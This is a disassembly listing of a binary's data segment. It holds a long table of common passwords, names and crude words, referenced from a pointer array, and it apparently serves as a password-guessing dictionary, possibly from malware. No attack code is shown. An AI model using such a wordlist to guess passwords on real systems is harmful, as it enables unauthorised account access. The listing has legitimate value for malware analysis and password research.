aSunday		db 'sunday',0           ; DATA XREF: seg002:0042A8B8o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: seg002:0042A8B4o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg002:0042A8B0o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg002:0042A8ACo
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg002:0042A8A8o
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg002:0042A8A4o
aSubway		db 'subway',0           ; DATA XREF: seg002:0042A8A0o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg002:0042A89Co
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg002:0042A898o
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg002:0042A890o
		align 4
aString		db 'string',0           ; DATA XREF: seg002:0042A88Co
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg002:0042A888o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg002:0042A884o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg002:0042A880o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: seg002:0042A87Co
aStones		db 'stones',0           ; DATA XREF: seg002:0042A878o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: seg002:0042A874o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg002:0042A870o
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg002:0042A86Co
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg002:0042A868o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg002:0042A864o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: seg002:0042A860o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg002:0042A85Co
		align 10h
aSteal		db 'steal',0            ; DATA XREF: seg002:0042A858o
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg002:0042A854o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: seg002:0042A850o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg002:0042A84Co
aStartrek	db 'startrek',0         ; DATA XREF: seg002:0042A848o
		align 10h
aStart		db 'start',0            ; DATA XREF: seg000:00405FB0o
					; seg002:0042A844o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg002:0042A840o
		align 4
aStar		db 'star',0             ; DATA XREF: seg002:0042A83Co
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg002:0042A838o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg002:0042A834o
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg002:0042A830o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg002:0042A82Co
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg002:0042A828o
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg002:0042A824o
aSpunk		db 'spunk',0            ; DATA XREF: seg002:0042A820o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg002:0042A81Co
		align 10h
aSpring		db 'spring',0           ; DATA XREF: seg002:0042A818o
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg002:0042A814o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: seg002:0042A810o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg002:0042A80Co
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg002:0042A808o
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg002:0042A804o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg002:0042A800o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg002:0042A7FCo
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg002:0042A7F8o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg002:0042A7F4o
		align 4
aSouth		db 'south',0            ; DATA XREF: seg002:0042A7F0o
		align 4
aSource		db 'source',0           ; DATA XREF: seg002:0042A7ECo
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg002:0042A7E8o
aSonya		db 'sonya',0            ; DATA XREF: seg002:0042A7E4o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg002:0042A7E0o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg002:0042A7DCo
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg002:0042A7D8o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg002:0042A7D4o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: seg002:0042A7D0o
		align 4
aSoft		db 'soft',0
		align 4
aSodomy		db 'sodomy',0
		align 4
aSocrates	db 'socrates',0
		align 4
aSocial		db 'social',0
		align 10h
aSoap		db 'soap',0
		align 4
aSnoopy		db 'snoopy',0
		align 10h
aSnatch		db 'snatch',0
		align 4
aSnake		db 'snake',0
		align 10h
aSnafu		db 'snafu',0
		align 4
aSnach		db 'snach',0
		align 10h
aSmut		db 'smut',0
		align 4
aSmtp		db 'smtp',0
		align 10h
aSmother	db 'smother',0
aSmooch		db 'smooch',0
		align 10h
aSmiles		db 'smiles',0
		align 4
aSmile		db 'smile',0
		align 10h
aSmart		db 'smart',0
		align 4
aSmall		db 'small',0
		align 10h
aSlut		db 'slut',0
		align 4
aSlow		db 'slow',0
		align 10h
aSliders	db 'sliders',0
aSlick		db 'slick',0
		align 10h
aSlave		db 'slave',0
		align 4
aSkull		db 'skull',0
		align 10h
aSite		db 'site',0
		align 4
aSingle		db 'single',0
		align 10h
aSinger		db 'singer',0
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg002:0042A760o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg002:0042A75Co
		align 10h
aSimple		db 'simple',0           ; DATA XREF: seg002:0042A758o
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg002:0042A754o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: seg002:0042A750o
aSilver		db 'silver',0           ; DATA XREF: seg002:0042A74Co
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: seg002:0042A748o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg002:0042A744o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg002:0042A740o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg002:0042A73Co
aShort		db 'short',0            ; DATA XREF: seg002:0042A738o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg002:0042A734o
aShiva		db 'shiva',0            ; DATA XREF: seg002:0042A730o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg002:0042A72Co
aShit		db 'shit',0             ; DATA XREF: seg002:0042A728o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg002:0042A724o
aShift		db 'shift',0            ; DATA XREF: seg002:0042A720o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg002:0042A71Co
		align 4
aShell		db 'shell',0            ; DATA XREF: seg002:0042A718o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg002:0042A714o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg002:0042A710o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: seg002:0042A70Co
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg002:0042A708o
		align 10h
aShark		db 'shark',0            ; DATA XREF: seg002:0042A704o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg002:0042A700o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: seg002:0042A6FCo
aSexy		db 'sexy',0             ; DATA XREF: seg002:0042A6F8o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: seg002:0042A6F4o
		align 4
aService	db 'service',0          ; DATA XREF: seg002:0042A6F0o
aSerial		db 'serial',0           ; DATA XREF: seg002:0042A6ECo
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg002:0042A6E8o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg002:0042A6E4o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg002:0042A6E0o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg002:0042A6DCo
		align 10h
aSega		db 'sega',0             ; DATA XREF: seg002:0042A6D8o
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg002:0042A6D4o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: seg002:0042A6D0o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg002:0042A6CCo
		align 4
aScout		db 'scout',0            ; DATA XREF: seg002:0042A6C8o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg002:0042A6C4o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg002:0042A6C0o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg002:0042A6BCo
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg002:0042A6B8o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg002:0042A6B4o
aSchool		db 'school',0           ; DATA XREF: seg002:0042A6B0o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg002:0042A6ACo
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg002:0042A6A8o
aSaxon		db 'saxon',0            ; DATA XREF: seg002:0042A6A4o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg002:0042A6A0o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg002:0042A69Co
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: seg002:0042A698o
		align 4
aSara		db 'sara',0             ; DATA XREF: seg002:0042A694o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: seg002:0042A690o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg002:0042A68Co
		align 10h
aSample		db 'sample',0           ; DATA XREF: seg002:0042A688o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg002:0042A684o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg002:0042A680o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg002:0042A67Co
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg002:0042A678o
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg002:0042A674o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg002:0042A670o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg002:0042A66Co
		align 4
aRunning	db 'running',0          ; DATA XREF: seg002:0042A668o
aRules		db 'rules',0            ; DATA XREF: seg002:0042A664o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg002:0042A660o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg002:0042A65Co
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg002:0042A658o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg002:0042A654o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg002:0042A650o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg002:0042A64Co
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg002:0042A648o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: seg002:0042A644o
aRose		db 'rose',0             ; DATA XREF: seg002:0042A640o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: seg002:0042A63Co
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg002:0042A638o
aRomeo		db 'romeo',0            ; DATA XREF: seg002:0042A634o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg002:0042A630o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: seg002:0042A62Co
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg002:0042A628o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg002:0042A624o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg002:0042A620o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg002:0042A61Co
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg002:0042A618o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg002:0042A614o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg002:0042A610o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg002:0042A60Co
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg002:0042A608o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: seg002:0042A604o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg002:0042A600o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: seg002:0042A5FCo
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg002:0042A5F8o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: seg002:0042A5F4o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg002:0042A5F0o
		align 10h
aRing		db 'ring',0             ; DATA XREF: seg002:0042A5ECo
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg002:0042A5E8o
		align 4
aRight		db 'right',0            ; DATA XREF: seg002:0042A5E4o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg002:0042A5E0o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg002:0042A5DCo
		align 10h
aRich		db 'rich',0             ; DATA XREF: seg002:0042A5D8o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg002:0042A5D4o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: seg002:0042A5D0o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg002:0042A5CCo
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg002:0042A5C8o
		align 10h
aReport		db 'report',0           ; DATA XREF: seg002:0042A5C4o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg002:0042A5C0o
		align 10h
aReno		db 'reno',0             ; DATA XREF: seg002:0042A5BCo
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg002:0042A5B8o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: seg002:0042A5B4o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg002:0042A5B0o
aRegional	db 'regional',0         ; DATA XREF: seg002:0042A5ACo
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg002:0042A5A8o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg002:0042A5A4o
aReddawn	db 'reddawn',0          ; DATA XREF: seg002:0042A5A0o
aRecord		db 'record',0           ; DATA XREF: seg002:0042A59Co
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: seg002:0042A598o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg002:0042A594o
aRebal		db 'rebal',0            ; DATA XREF: seg002:0042A590o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg002:0042A58Co
		align 10h
aReam		db 'ream',0             ; DATA XREF: seg002:0042A588o
		align 4
aReally		db 'really',0           ; DATA XREF: seg002:0042A584o
		align 10h
aReality	db 'reality',0          ; DATA XREF: seg002:0042A580o
aReagan		db 'reagan',0           ; DATA XREF: seg002:0042A57Co
		align 10h
aRazor		db 'razor',0            ; DATA XREF: seg002:0042A578o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg002:0042A574o
		align 10h
aRape		db 'rape',0             ; DATA XREF: seg002:0042A570o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: seg000:00406D40o
					; seg002:0042A56Co
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: seg002:0042A568o
aRaindrop	db 'raindrop',0         ; DATA XREF: seg002:0042A564o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg002:0042A560o
aRain		db 'rain',0             ; DATA XREF: seg002:0042A55Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg002:0042A558o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg002:0042A554o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: seg002:0042A550o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg002:0042A54Co
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg002:0042A548o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:0042A544o
					; seg002:0042B29Co
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg002:0042A540o
					; seg002:0042B298o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg002:0042A53Co
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg002:0042A538o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: seg002:0042A534o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg002:0042A530o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg002:0042A52Co
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: seg002:0042A528o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg002:0042A524o
aPuke		db 'puke',0             ; DATA XREF: seg002:0042A520o
		align 4
aPuck		db 'puck',0             ; DATA XREF: seg002:0042A51Co
		align 10h
aPublic		db 'public',0           ; DATA XREF: seg002:0042A518o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: seg002:0042A514o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg002:0042A510o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg002:0042A50Co
		align 4
aProtect	db 'protect',0          ; DATA XREF: seg002:0042A508o
aPrompt		db 'prompt',0           ; DATA XREF: seg002:0042A504o
		align 4
aProgram	db 'program',0          ; DATA XREF: seg002:0042A500o
aProfile	db 'profile',0          ; DATA XREF: seg002:0042A4FCo
aProfesso	db 'professo',0         ; DATA XREF: seg002:0042A4F8o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg002:0042A4F4o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: seg002:0042A4F0o
aPrivs		db 'privs',0            ; DATA XREF: seg002:0042A4ECo
		align 10h
aPrivate	db 'private',0          ; DATA XREF: seg002:0042A4E8o
aPriv		db 'priv',0             ; DATA XREF: seg002:0042A4E4o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: seg002:0042A4E0o
aPrinceto	db 'princeto',0         ; DATA XREF: seg002:0042A4DCo
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg002:0042A4D8o
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg002:0042A4D4o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg002:0042A4D0o
aPrecious	db 'precious',0         ; DATA XREF: seg002:0042A4CCo
		align 4
aPraise		db 'praise',0           ; DATA XREF: seg002:0042A4C8o
		align 10h
aPower		db 'power',0            ; DATA XREF: seg002:0042A4C4o
		align 4
aPoster		db 'poster',0           ; DATA XREF: seg002:0042A4C0o
		align 10h
aPost		db 'post',0             ; DATA XREF: seg002:0042A4BCo
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: seg002:0042A4B8o
aPorno		db 'porno',0            ; DATA XREF: seg002:0042A4B4o
		align 4
aPorn		db 'porn',0             ; DATA XREF: seg002:0042A4B0o
		align 10h
aPork		db 'pork',0             ; DATA XREF: seg002:0042A4ACo
		align 4
aPoor		db 'poor',0             ; DATA XREF: seg002:0042A4A8o
		align 10h
aPoop		db 'poop',0             ; DATA XREF: seg002:0042A4A4o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: seg002:0042A4A0o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: seg002:0042A49Co
		align 10h
aPolly		db 'polly',0            ; DATA XREF: seg002:0042A498o
		align 4
aPolice		db 'police',0           ; DATA XREF: seg002:0042A494o
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: seg002:0042A490o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: seg002:0042A48Co
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg002:0042A488o
		align 4
aPlover		db 'plover',0           ; DATA XREF: seg002:0042A484o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: seg002:0042A480o
aPlane		db 'plane',0            ; DATA XREF: seg002:0042A47Co
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg002:0042A478o
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg002:0042A474o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg002:0042A470o
aPimp		db 'pimp',0             ; DATA XREF: seg002:0042A46Co
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg002:0042A468o
		align 4
aPick		db 'pick',0             ; DATA XREF: seg002:0042A464o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: seg002:0042A460o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: seg002:0042A45Co
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: seg002:0042A458o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg002:0042A454o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: seg002:0042A450o
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg002:0042A44Co
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg002:0042A448o
aPhilip		db 'philip',0           ; DATA XREF: seg002:0042A444o
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg002:0042A440o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:0042A43Co
		align 4
aPete		db 'pete',0             ; DATA XREF: seg002:0042A438o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg002:0042A434o
aPersona	db 'persona',0          ; DATA XREF: seg002:0042A430o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg002:0042A42Co
		align 4
aPermit		db 'permit',0           ; DATA XREF: seg002:0042A428o
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: seg002:0042A424o
aPercolat	db 'percolat',0         ; DATA XREF: seg002:0042A420o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: seg002:0042A41Co
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: seg002:0042A418o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: seg002:0042A414o
aPenthous	db 'penthous',0         ; DATA XREF: seg002:0042A410o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: seg002:0042A40Co
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: seg002:0042A408o
		align 10h
aPenname	db 'penname',0          ; DATA XREF: seg002:0042A404o
aPenis		db 'penis',0            ; DATA XREF: seg002:0042A400o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: seg002:0042A3FCo
aPenelope	db 'penelope',0         ; DATA XREF: seg002:0042A3F8o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: seg002:0042A3F4o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: seg002:0042A3F0o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: seg002:0042A3ECo
aPaula		db 'paula',0            ; DATA XREF: seg002:0042A3E8o
		align 4
aPatty		db 'patty',0            ; DATA XREF: seg002:0042A3E4o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: seg002:0042A3E0o
aPatricia	db 'patricia',0         ; DATA XREF: seg002:0042A3DCo
		align 10h
aPaste		db 'paste',0            ; DATA XREF: seg002:0042A3D8o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: seg002:0042A3D4o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: seg002:0042A3D0o
		align 4
aPapers		db 'papers',0           ; DATA XREF: seg002:0042A3CCo
		align 4
aPaper		db 'paper',0            ; DATA XREF: seg002:0042A3C8o
		align 4
aPapa		db 'papa',0             ; DATA XREF: seg002:0042A3C4o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: seg002:0042A3C0o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: seg002:0042A3BCo
		align 4
aPaint		db 'paint',0            ; DATA XREF: seg002:0042A3B8o
		align 10h
aPainless	db 'painless',0         ; DATA XREF: seg002:0042A3B4o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg002:0042A3B0o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg002:0042A3ACo
aPacific	db 'pacific',0          ; DATA XREF: seg002:0042A3A8o
aOxford		db 'oxford',0           ; DATA XREF: seg002:0042A3A4o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg002:0042A3A0o
aOutput		db 'output',0           ; DATA XREF: seg002:0042A39Co
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg002:0042A398o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg002:0042A394o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: seg002:0042A390o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: seg002:0042A38Co
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: seg002:0042A388o
		align 4
aOrient		db 'orient',0           ; DATA XREF: seg002:0042A384o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: seg002:0042A380o
		align 4
aOperator	db 'operator',0         ; DATA XREF: seg002:0042A37Co
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg002:0042A378o
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: seg002:0042A374o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg002:0042A370o
aOpen		db 'open',0             ; DATA XREF: seg000:0040594Ao
					; seg000:0040736Eo ...
		align 4
aOmega		db 'omega',0            ; DATA XREF: seg002:0042A368o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg002:0042A364o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg002:0042A360o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg002:0042A35Co
		align 10h
aOkay		db 'okay',0             ; DATA XREF: seg002:0042A358o
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:0042A354o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: seg002:0042A350o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg002:0042A34Co
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg002:0042A348o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: seg002:0042A344o
aNuts		db 'nuts',0             ; DATA XREF: seg002:0042A340o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: seg002:0042A33Co
		align 4
aNumber		db 'number',0           ; DATA XREF: seg002:0042A338o
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:0042A334o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg002:0042A330o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg002:0042A32Co
		align 4
aNude		db 'nude',0             ; DATA XREF: seg002:0042A328o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg002:0042A324o
aNoxious	db 'noxious',0          ; DATA XREF: seg002:0042A320o
aNovember	db 'november',0         ; DATA XREF: seg002:0042A31Co
		align 10h
aNovel		db 'novel',0            ; DATA XREF: seg002:0042A318o
		align 4
aNova		db 'nova',0             ; DATA XREF: seg002:0042A314o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: seg002:0042A310o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg002:0042A30Co
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: seg002:0042A308o
		align 4
aNode		db 'node',0             ; DATA XREF: seg002:0042A304o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: seg002:0042A300o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg002:0042A2FCo
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg002:0042A2F8o
		align 4
aNita		db 'nita',0             ; DATA XREF: seg002:0042A2F4o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: seg002:0042A2F0o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg002:0042A2ECo
		align 4
aNight		db 'night',0            ; DATA XREF: seg002:0042A2E8o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: seg002:0042A2E4o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg002:0042A2E0o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg002:0042A2DCo
		align 4
aNext		db 'next',0             ; DATA XREF: seg002:0042A2D8o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg002:0042A2D4o
aNewton		db 'newton',0           ; DATA XREF: seg002:0042A2D0o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg002:0042A2CCo
		align 10h
aNews		db 'news',0             ; DATA XREF: seg002:0042A2C8o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg002:0042A2C4o
aNetwork_0	db 'network',0          ; DATA XREF: seg002:0042A2C0o
aNetscape	db 'netscape',0         ; DATA XREF: seg002:0042A2BCo
		align 4
aNess		db 'ness',0             ; DATA XREF: seg002:0042A2B8o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg002:0042A2B4o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg002:0042A2B0o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: seg002:0042A2ACo
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg002:0042A2A8o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: seg002:0042A2A4o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg002:0042A2A0o
		align 4
aName		db 'name',0             ; DATA XREF: seg002:0042A29Co
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg002:0042A298o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg002:0042A294o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg002:0042A290o
aMsdos		db 'msdos',0            ; DATA XREF: seg002:0042A28Co
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg002:0042A288o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg002:0042A284o
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg002:0042A280o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg002:0042A27Co
		align 4
aMove		db 'move',0             ; DATA XREF: seg002:0042A278o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg002:0042A274o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg002:0042A270o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg002:0042A26Co
		align 10h
